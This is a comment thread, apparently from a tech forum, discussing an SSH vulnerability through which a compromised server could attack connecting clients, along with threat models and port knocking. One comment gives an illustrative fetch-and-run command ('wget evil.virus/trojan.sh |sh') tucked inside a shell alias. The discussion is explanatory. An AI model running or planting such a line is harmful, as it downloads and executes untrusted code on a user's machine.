1. 22
  1.  

  2. 4

    So this is neat and all, but involves someone compromising the ssh server and using said modified server to attack clients.

    If someone can modify your sshd, you’re in deep sneakers :)

    1. 11

      If someone can modify your sshd, you’re in deep sneakers

      Yes and no, I think.

      Before this vulnerability, if someone is root on my web server, they’ve compromised my ability to share my website. This doesn’t move the needle on my threat meter: I’ll destroy that VM and spin a new one up.

      If someone is root on my web server with this vulnerability, and they add a bash alias so that when I ls on my laptop I’m actually running wget evil.virus/trojan.sh |sh && ls, my threat meter has broken from the needle spinning so fast.

      Someone will probably say “this shouldn’t be news, your ssh client should always be seen as vulnerable”, and they’d be right - but I dare say most people see risk as something flowing into sshd, not out!

      1. 4

        “Someone will probably say “this shouldn’t be news, your ssh client should always be seen as vulnerable”, and they’d be right”

        In security parlance, a SSH client is a “trusted” app in the Trusted, Computing Base (TCB). These are privileged, security-critical components that can bypass the security policy of the system. Anything in the TCB should use every security engineering technique you can afford to use. Both SSH client and server should be bulletproof much as we know how to do.

        That sounded pretty hard to me. So, I instead pushed for high-strength implementations of port knocking which created secure tunnels in the reply. Then, privileged traffic over that. Means only a tiny part of the SSH client and server need to be trusted. Small enough to be in realm of formal verification.

      2. 3

        The first works with a MITM, too, which just requires someone not paying close enough attention, after getting in the middle, of course.